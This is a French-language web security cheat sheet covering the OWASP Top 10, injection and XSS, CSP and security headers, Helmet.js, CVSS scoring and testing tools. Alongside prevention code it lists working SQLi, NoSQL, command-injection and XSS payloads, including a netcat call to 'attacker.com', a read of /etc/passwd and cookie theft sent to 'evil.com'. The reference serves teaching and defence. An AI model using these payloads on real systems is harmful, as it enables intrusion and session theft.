Ressources & Cheat Sheets

Références rapides pour la sécurité web — OWASP, payloads, headers, scoring.

OWASP Top 10 — 2021
A01
Broken Access Control
IDOR, escalade de privilèges, exposition de ressources non autorisées
Critique
A02
Cryptographic Failures
MD5/SHA1 pour mots de passe, HTTP clair, clés hardcodées, pas de sel
Critique
A03
Injection
SQLi, NoSQLi, Command Injection, XSS, XXE, LDAP Injection
Critique
A04
Insecure Design
Absence de modèle de menace, logique métier non sécurisée, pas de defense in depth
Élevé
A05
Security Misconfiguration
Headers absents, stack traces exposées, CORS permissif, .git accessible
Élevé
A06
Vulnerable & Outdated Components
Dépendances non mises à jour, CVE connues non patchées
Élevé
A07
Identification & Auth Failures
Brute force, credential stuffing, session fixation, mots de passe faibles
Élevé
A08
Software & Data Integrity Failures
Dépendances sans vérification d'intégrité, CI/CD non sécurisé, supply chain
Moyen
A09
Security Logging & Monitoring Failures
Absence de logs, alertes non configurées, intrusions non détectées
Moyen
A10
Server-Side Request Forgery (SSRF)
Accès aux métadonnées cloud (169.254.169.254), services internes, rebind DNS
Élevé
Patterns SQLi courants
-- Auth bypass classique
admin'--
' OR '1'='1
' OR 1=1--
admin'/*

-- UNION SELECT (nb colonnes inconnu)
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--

-- Time-based blind (MySQL)
' AND SLEEP(5)--
-- Time-based blind (PostgreSQL)
'; SELECT pg_sleep(5)--
-- Boolean-based blind
' AND 1=1--   (vrai)
' AND 1=2--   (faux)

-- Information schema
' UNION SELECT table_name,NULL FROM information_schema.tables--
Prévention SQLi
// ✅ node-postgres — paramètres positionnels
await db.query('SELECT * FROM users WHERE id = $1', [userId]);

// ✅ Sequelize ORM
User.findOne({ where: { email: req.body.email } });

// ✅ mysql2 — paramètre ?
db.execute('SELECT * FROM users WHERE email = ?', [email]);

// ❌ Concaténation directe
db.query('SELECT * FROM users WHERE id = ' + req.params.id);
NoSQL Injection (MongoDB)
// ❌ Vulnérable — opérateur $gt contourne l'auth
POST /login  {"email": {"$gt": ""}, "password": {"$gt": ""}}

// ✅ Prévention avec mongo-sanitize
const sanitize = require('express-mongo-sanitize');
app.use(sanitize()); // Strip $ et . des entrées

// ✅ Validation Zod (string stricte)
const schema = z.object({ email: z.string().email(), password: z.string().min(1) });
const { email, password } = schema.parse(req.body);
Command Injection
// Caractères dangereux
; && || | $() ` \n

// Exemples de payloads
8.8.8.8; cat /etc/passwd
8.8.8.8 && id
8.8.8.8 | nc attacker.com 4444

// ✅ Prévention Node.js — éviter exec(), utiliser spawn() + whitelist
const { spawn } = require('child_process');
const ip = req.body.ip;
if(!/^(\d{1,3}\.){3}\d{1,3}$/.test(ip)) return res.status(400).end();
spawn('ping', ['-c', '1', ip]); // Pas de shell, pas d'injection
Vecteurs XSS courants

Basiques

  • <script>alert(1)</script>
  • <img src=x onerror=alert(1)>
  • <svg onload=alert(1)>
  • <body onload=alert(1)>
  • <iframe src="javascript:alert(1)">

Bypass filtre

  • <SCRIPT>alert(1)</SCRIPT> — casse
  • <scr<script>ipt>alert(1) — double
  • <script> — entités HTML
  • <img src=x oNerRoR=alert(1)>
  • javascript:alert(1) — href / src

Vol de cookies

  • document.cookie → exfiltration
  • fetch('//evil.com/?c='+btoa(document.cookie))
  • new Image().src='//evil.com/'+document.cookie
  • Protection : HttpOnly bloque JS
  • Protection : Secure → HTTPS seulement

Défenses

  • Toujours textContent vs innerHTML
  • DOMPurify.sanitize() si HTML requis
  • CSP script-src 'nonce-...'
  • Encodage contextuel (HTML, JS, URL, CSS)
  • X-XSS-Protection: 0 (désactive bogue IE)
CSP — niveaux de protection
// ❌ Pas de CSP — tout est autorisé
Aucun header Content-Security-Policy

// ⚠️  CSP basique — bloque inline et CDN inconnus
Content-Security-Policy: script-src 'self'

// ✅ CSP avec nonce — seuls les scripts signés s'exécutent
Content-Security-Policy: script-src 'nonce-abc123'
// HTML : <script nonce="abc123">...</script>

// ✅ Strict CSP (recommandé)
Content-Security-Policy: default-src 'none'; script-src 'nonce-{random}' 'strict-dynamic';
  style-src 'self'; img-src 'self' data:; font-src 'self' https://fonts.gstatic.com;
  connect-src 'self'; frame-ancestors 'none'
Headers de sécurité essentiels

HSTS

  • Strict-Transport-Security
  • max-age=63072000 (2 ans)
  • includeSubDomains
  • preload — liste navigateurs
  • Force HTTPS même après redirection

Anti-clickjacking

  • X-Frame-Options: DENY
  • ou SAMEORIGIN
  • CSP frame-ancestors 'none'
  • Empêche iframes malveillantes
  • Prévention UI Redressing

MIME Sniffing

  • X-Content-Type-Options: nosniff
  • Empêche interprétation erronée
  • Bloque MIME confusion attacks
  • Obligatoire si upload de fichiers

Referrer

  • Referrer-Policy: strict-origin-when-cross-origin
  • Protège les URLs sensibles
  • no-referrer = plus restrictif
  • Évite fuite de tokens dans l'URL

Permissions

  • Permissions-Policy: camera=(), microphone=()
  • Désactive APIs navigateur inutiles
  • geolocation=(self)
  • Réduit la surface d'attaque

CORS sécurisé

  • Ne jamais Access-Control-Allow-Origin: * avec credentials
  • Whitelist des origines autorisées
  • Access-Control-Allow-Credentials: true = origine explicite
  • Valider Origin côté serveur
Configuration Helmet.js complète
const helmet = require('helmet');
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'none'"],
      scriptSrc:  ["'self'", (req,res)=>`'nonce-${res.locals.nonce}'`],
      styleSrc:   ["'self'"],
      imgSrc:     ["'self'", 'data:'],
      connectSrc: ["'self'"],
      frameAncestors: ["'none'"],
    }
  },
  hsts: { maxAge: 63072000, includeSubDomains: true, preload: true },
  frameguard: { action: 'deny' },
  noSniff: true,
  referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
  permissionsPolicy: { features: { camera: ["'none'"], microphone: ["'none'"] } },
}));
CVSS v3.1 — Score de sévérité
ScoreSévéritéAction recommandéeExemples
9.0 – 10.0CritiquePatch immédiat (< 24h)Log4Shell, EternalBlue
7.0 – 8.9ÉlevéPatch rapide (< 7j)SQLi non authentifié
4.0 – 6.9MoyenPlanifier (< 30j)XSS réfléchi, IDOR
0.1 – 3.9BasBacklogVerbose errors
Métriques de base CVSS v3.1

Vecteur d'attaque (AV)

  • N — Network : via réseau (pire)
  • A — Adjacent : réseau local
  • L — Local : accès machine
  • P — Physical : accès physique

Complexité & Privilèges

  • AC:L — Low : reproductible facilement
  • AC:H — High : conditions précises
  • PR:N — None : sans auth
  • PR:L/H — Low/High : avec auth

Impact (CIA)

  • C onfidentiality : fuite de données
  • I ntegrity : modification de données
  • A vailability : DoS, disruption
  • Chaque : None / Low / High

Scope

  • S:U — Unchanged : impact limité
  • S:C — Changed : pivotage possible
  • Exemple : SSRF → S:C si accès au cloud
  • Augmente significativement le score
Exemple — Log4Shell (CVE-2021-44228)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Score : 10.0 CRITIQUE

AV:N  → exploitable via Internet
AC:L  → très simple à exploiter
PR:N  → aucune authentification requise
UI:N  → aucune interaction utilisateur
S:C   → scope changé — RCE possible
C/I/A:H → confidentialité, intégrité, disponibilité totalement compromises
Outils d'analyse & test
OWASP ZAP
Scan actif / passif
Proxy interceptant + scanner automatique de vulnérabilités web. Gratuit, open-source.
Burp Suite
Proxy / Fuzzing
Standard industrie pour tests de pénétration web. Intruder, Repeater, Scanner (Community limitée).
sqlmap
SQLi automatisé
Détection et exploitation automatique d'injections SQL. Supporte 30+ bases de données.
nikto
Scanner web
Scan de serveurs web — fichiers dangereux, versions, configurations par défaut.
nmap
Scan réseau
Découverte réseau, ports ouverts, versions de services, scripts NSE de sécurité.
Metasploit
Exploitation
Framework d'exploitation avec modules pour CVE connues. Usage tests autorisés uniquement.
trufflehog / gitleaks
Secrets dans le code
Scan de dépôts git pour secrets hardcodés — clés API, passwords, tokens.
npm audit / snyk
Dépendances
Détecte les vulnérabilités dans les dépendances npm. Snyk propose la remédiation automatique.
Semgrep
SAST
Analyse statique du code source — règles de sécurité pour JS, Python, Go, Java.
SSL Labs
TLS / HTTPS
Analyse la configuration TLS d'un serveur — protocoles, ciphers, certificat, HSTS.
securityheaders.com
Headers HTTP
Analyse les headers de sécurité d'une URL — note A+ à F avec recommandations.
Have I Been Pwned
Credential check
Vérifie si un email ou mot de passe a été compromis dans une fuite. API k-anonymity.
Plateformes d'entraînement

Labs vulnérables

  • DVWA (Damn Vulnerable Web App)
  • WebGoat (OWASP)
  • Juice Shop (OWASP)
  • HackTheBox — machines web
  • TryHackMe — parcours guidés

Références officielles

  • owasp.org — guides, checklists
  • cve.mitre.org — base CVE
  • nvd.nist.gov — CVSS scores
  • cheatsheetseries.owasp.org
  • portswigger.net/web-security

Certifications

  • eWPT (eLearnSecurity)
  • CEH (EC-Council)
  • OSCP (Offensive Security)
  • CompTIA Security+
  • GWAPT (GIAC)